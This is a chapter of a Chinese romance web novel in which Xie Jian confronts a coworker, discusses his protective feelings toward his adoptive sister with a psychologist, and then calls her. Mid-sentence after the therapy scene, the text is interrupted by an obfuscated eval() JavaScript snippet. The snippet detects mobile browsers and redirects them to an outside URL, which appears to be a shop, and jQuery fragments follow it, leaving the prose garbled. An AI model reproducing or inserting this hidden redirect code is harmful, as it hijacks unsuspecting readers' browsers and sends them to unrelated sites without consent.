31. 第 31 章

作品:《我要你爱我

    听见谢涧这样毫不留面子的话,姓王的男人差点疯了。


    他生平最恨别人说他靠女人,当即恼羞成怒抄起桌上的某个水晶摆件就要往谢涧身上砸。


    可临到头,摆件即将脱手的时候,他忽然停住,冷笑一声。


    “我倒要看看,如果我将这件事投诉到谢董事长那里,你还能不能这么嚣张。”


    男人放下话后就直接离开。


    梁齐吓得魂都快飞了,拍拍胸口,想问问谢涧有没有事,转头却看见人满脸遗憾地叹了口气。


    “……你这家伙不会是想让他砸你一顿好趁机将他赶出公司吧?”


    谢涧伸手将摆件放回抽屉,抬了抬眼,露出一个“你很聪明”的表情。


    梁齐是真对他无语了,“你别老这样,选择用伤害自己的方式达成目的,那些应酬也是的,让我们部门的人喝一点又不会怎么样。”


    他也知道自己的话谢涧根本不会听,所以也只是说说,然后歪头往门外看了看。


    “诶,那家伙好像真是要去董事长办公室啊?”


    谢涧:“董事长不在。”


    “……”梁齐心说您还真是思虑周到,董事长不在就敢惹人赘婿,“董事长总会在的,你也知道他老人家从来就不会顾及什么亲戚关系,姓王的家里还有一座大佛靠山,虽然我们能力强,但为了利益,我估计他大概会让我们两组合作搞这个项目,到时候他们拖后腿耍花招抢功劳……啊——我想想就头大。”


    谢涧垂着眼,认真将桌面上大大小小的摆件收起来,直到桌面恢复干净,然后起身。


    “真到了那个时候,交给我来解决就好,我先走了。”


    梁齐知道他今天请了半天假,也没多问,“……行,那有事电联。”


    —


    驱车二十分钟,来到了一家心理诊疗院。


    上电梯的时候黎晓给他发来了信息:【去找小唐了吗?】


    谢涧回了个嗯。


    唐医生是他们家的专属医生,之前一直在国外,这几天被黎晓喊回国,目的就是为了让他去见一下。


    电梯到了,他将手机静音,轻车熟路往最里边的诊室走去,唐医生已经在里面等候,见到他来便站起身,又跟着谢涧一起坐下。


    “回国之后心情怎么样?”


    “还不错。”


    “听你母亲说,你最近状态不对,会因为……那个女生,做出一些过激的举动?”


    唐医生和谢涧的谈话一向直接,即便他是母亲的人,但基本的职业操守是有的,这么多年谢涧一直很信任他。


    于是谢涧便直接道,“我对她产生了保护欲。”


    意料之中,唐医生轻声说:“你是和她相处多久时产生了这样的感觉?”


    “回国之后,两三个星期吧。”谢涧并不确定,因为第一次决定产生帮助小姑娘的想法其实只用了一个星期。


    他并不决定将那种情况列入保护欲的情绪范围中。


    但即便将情绪产生时间延后,唐医生也依然惊讶,因为这是谢涧对某个人产生这种感觉最快的一次。


    于是表情严肃了一些,“那么对她,你一开始也同样会产生极端的防备心吗?”


    谢涧抬头看了眼唐医生。


    他们俩已经很久没有聊起过这件事了。


    因为小时候发生过的一些事情,导致他产生了一些应激反应。


    面对主动靠近的陌生人,总是习惯从最坏的方面去审视这个人,会怀疑他的每一个举动都别有用心,也因此他基本上没有什么朋友。


    而相反地,若是发现这个人心思全然纯净,不存在丝毫算计,且喜欢他,依赖他,他便又会产生很严重的保护欲,希望这个人能这辈子都能依赖自己生活,不被世俗肮脏的人心玷污。


    他在国外曾经资助过一个小孩,就是因为某种契机,让他对这个小孩产生了保护欲。


    这种极端的情绪在他准备将自己所有的积蓄都捐赠给那个小孩之后,终于被父母发现,于是请来了唐医生给他治疗。


    直到几年前,这个症状在他身上已经完全看不出来了。


    没想到现在却再度出现了这种迹象。


    谢涧说:“一开始是会。”


    唐医生坐直了身体,又问了一些情况,确保他的情况还很轻微,“目前看不出明显的复发症状,但未来可能发生,或许需要做一些准备。”


    对于他说的话,谢涧不太赞同,一针见血指出问题,“如果我产生的所有保护欲,都被视作症状复发,我认为这是剥夺了我拥有正常情绪的权利。”


    唐医生顿了顿,眼底划过些异样的情绪,“那么你觉得你对她产生保护欲,是出于别的原因?”


    “……”谢涧点头,“我们是兄妹。”


    唐医生的眼底的情绪变得更加复杂,“在相处过程中,没有产生过别的情绪吗?”


    “……”谢涧难得犹豫,“类似什么?”


    唐医生抿住唇摇了摇头,作为心理医生他们有时候说的话会潜移默化地引导患者,所以必须谨言慎行。


    “没有。”犹豫了几秒,他决定还是不聊这件事,换了个话题,“说回保护欲这种情绪,做好准备也并不是剥夺你的情绪自主权,只是你的家庭情况特殊,如果你这种状况被有心之人利用,会很危险。”


    他说得很在理,说服了谢涧,尽管他还是认为自己的情绪是正常的,但他还是问:“那你觉得我该怎么做?”


    “按你的说法,那么现在最该想清楚的是,你所产生的情绪到底出自于什么……”唐医生沉吟片刻,“我的建议是,尽量减少和你妹妹的接触,最好能够接触一些同类型的人,观察记录下自己的反应。”


    “……”听他说完,谢涧立刻产生了抵触的情绪。


    但他还是点点头,“好,有机会我会尝试。”


    “……”看他的状态大概也没有想要尝试的想法,时间要到了,唐医生只好提醒,“也可以尝试着去观察她所做的行为对你情绪产生的影响。”


    话落,今日的见面就到这里结束。


    谢涧起身要走,但出门前忽然想起来一些什么,侧头问:“兄妹间,牵手拥抱是很普遍的情况吧?”


    “……”唐医生好像被什么猛烈攻击了一下,“额……这个……对,得分情况……这个行为是正常的,还是要看自己心里怎么想。”


    于是谢涧很满意地点下了头,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943400|191648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    悠然迈步离开。


    下到地下室,坐在车内,谢涧还在想唐医生最后的那句话。


    他还真没有在意过这件事。


    思考几分钟未果,索性不想,拿起手机取消静音,一连串消息接连响起。


    看了眼,没有小姑娘的,于是点开了最上方梁齐的聊天框。


    一个小时前。


    【董事长回来了。】


    【姓王的进去了。】


    半个小时前。


    【诶!姓王的出来了,脸好臭!】


    【我靠,我有点期待了。】


    一分钟前。


    【哥!哥——!谢董事长宣布把项目交给我们组了!芜湖——!你是不是对他老人家吹了什么枕边风?太强了老大!】


    对于这个结果,谢涧也很意外。


    他自认并没有做什么讨爷爷欢心的举动,唯二两次让爷爷印象深刻的事,一次是校内的狐假虎威,另一次是饭桌上耍脾气提前离开。


    都不是什么好事,他估计自己在爷爷心里的形象并不会太好,爷爷没有理由帮助他。


    唯一能想到的,就是她了。


    谢涧眼神微动,滑动屏幕点开那个许久都没有时间点开的聊天框。


    临发出信息时又停下,转手拨了电话过去。


    现在是晚饭时间,对面很快就接起了电话,声音含糊,好像嘴里还含着东西。


    “哥哥?”


    只听见这一声称呼,谢涧的眉眼便柔和下来。


    “今天爷爷去疗养院,你和他说了什么吗?”


    对面停顿了一会儿,窸窣嚼动声迅速响动,紧接着是几声轻咳,“有的,爷爷今天和我说,让我多多照顾奶奶,还说可以给我一样东西。”


    她说得认真,像是在汇报什么任务。


    谢涧抵着手机的指尖轻动了一下,“你要的东西,关于我?”


    对面不好意思地“嗯”了一声,“我让爷爷多帮帮你。”


    “……”谢涧哑然无言片刻。


    携创集团董事长开出的条件,也就只有夏夕怡会选择为别人争取。


    他握紧手机,手背淡淡青筋浮现。


    刚刚唐医生才让他关注自己的情绪,现在便有了明显的变化。


    那股被称为保护欲的情绪在此刻以一种从未有过的速度疯狂涨大。


    好半晌,他才轻轻开口:“傻不傻?”


    对面没意识到他语气不对,不满道:“你才傻。”


    谢涧低下头笑了,声音传入话筒,对面立时没了声音,大概是有些惊讶。


    “谢谢。”他停下笑,说,“你帮了我很大的忙。”


    对面又停顿几秒,似乎想了很久才敢说出口:“那哥哥,你以后能不能经常给我打电话?”


    谢涧眼皮半垂下,另一只手无意识地抚过方向盘,“为什么?”


    “……如果你忙的话就算——”


    “你可以给我打。”谢涧又说。


    “……哦。”对面声音变小,“什么时候能打?”


    谢涧微微挑起眉,如果有人能看见,妥妥就是一副大灰狼的坏模样。


    他笑了笑,声音懒懒,“想哥哥的时候。”